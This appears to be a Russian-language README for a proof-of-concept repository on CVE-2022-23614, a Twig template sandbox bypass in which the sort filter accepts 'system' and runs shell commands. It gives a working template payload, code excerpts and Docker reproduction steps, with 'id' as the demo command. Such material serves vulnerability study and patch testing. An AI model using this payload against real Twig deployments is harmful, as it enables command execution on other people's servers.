
Proof of concept for CVE-2022-23614 (command injection in Twig)
Доказательство концепции (PoC) для CVE-2022-23614, упомянутое в DSA-5107-1.
Twig — это гибкий, быстрый и безопасный шаблонизатор для PHP. Примечательно, что можно использовать фильтры в шаблоне до его рендеринга. Фильтр sort можно использовать для сортировки элементов массива со следующей структурой:
{{ [5,8,2,3]|sort('desc') }}
Twig имеет режим песочницы для оценки недоверенного кода шаблона. В режиме песочницы параметр arrow фильтра sort должен быть замыканием, чтобы предотвратить возможность выполнения произвольных PHP-функций злоумышленниками. В затронутых версиях это ограничение не было должным образом реализовано, что могло привести к внедрению произвольного PHP-кода.
{{ ["id",""]|sort('system') }}
Этот PoC иллюстрирует уязвимость в двух различных сценариях использования: с помощью пакета Debian php-twig (v2.14.1) или с помощью модуля Composer twig/twig (v2.14).
Файл index.php создает шаблон Twig на основе первого аргумента. В следующем коде argv[1] — это имя функции сортировки, которая будет использоваться Twig при рендеринге.
// index.php - line 28
$templateCode .= "{{ args|sort('" . $sortFunction . "') }}\n";
Затем index.php использует две устаревшие функции Twig для загрузки сгенерированного шаблона. В конечном итоге он использует второй аргумент (argv[2]) для передачи данных в шаблон во время его рендеринга, а именно массива args, который мы хотим отсортировать.
// index.php - line 44
$renderedTemplate = $modifiedTemplate->render($arrayToSort);
Отображенный шаблон затем выводится в стандартный поток вывода.
Обратите внимание, что этот репозиторий создан только для демонстрационных целей. Он предназначен для простоты понимания и использования, чтобы поиграть с CVE, используя только интерфейс командной строки. Он далек от того, что можно найти на реальном уязвимом сервере.
С помощью Docker мы можем воссоздать контекст оригинального Уведомления о безопасности Debian (DSA). Вы можете использовать предоставленный скрипт build-docker.sh, чтобы правильно собрать и запустить уязвимый контейнер.
chmod a+x build-docker.sh
./build-docker.sh
Контейнер должен завершить работу после выполнения полезной нагрузки (команда id). Если вы хотите попробовать свои команды, вы можете запустить контейнер в интерактивном режиме:
docker build -t cve-2022-23614 .
docker run -it --rm cve-2022-23614 /bin/bash
Оказавшись в контейнере, вы можете создать свою полезную нагрузку, используя следующую модель:
php index.php system '{"args":["id",""]}'
^ ^
sorting function array to sort
Этот Dockerfile был частично создан с помощью DECRET.
Если у вас уже установлены PHP и Composer, вы можете воспроизвести эксплойт, используя уязвимый модуль Composer.
cd exploit
composer install
Затем просто поиграйте с полезной нагрузкой.
php index.php system '{"args":["id",""]}'
Детали CVE: https://nvd.nist.gov/vuln/detail/CVE-2022-23614
DSA: https://www.debian.org/security/2022/dsa-5107
Коммит патча: https://github.com/twigphp/Twig/commit/22b9dc3c03ee66d7e21d9ed2ca76052b134cb9e9
PoC от davwwwx (с использованием GUI): https://github.com/davwwwx/CVE-2022-23614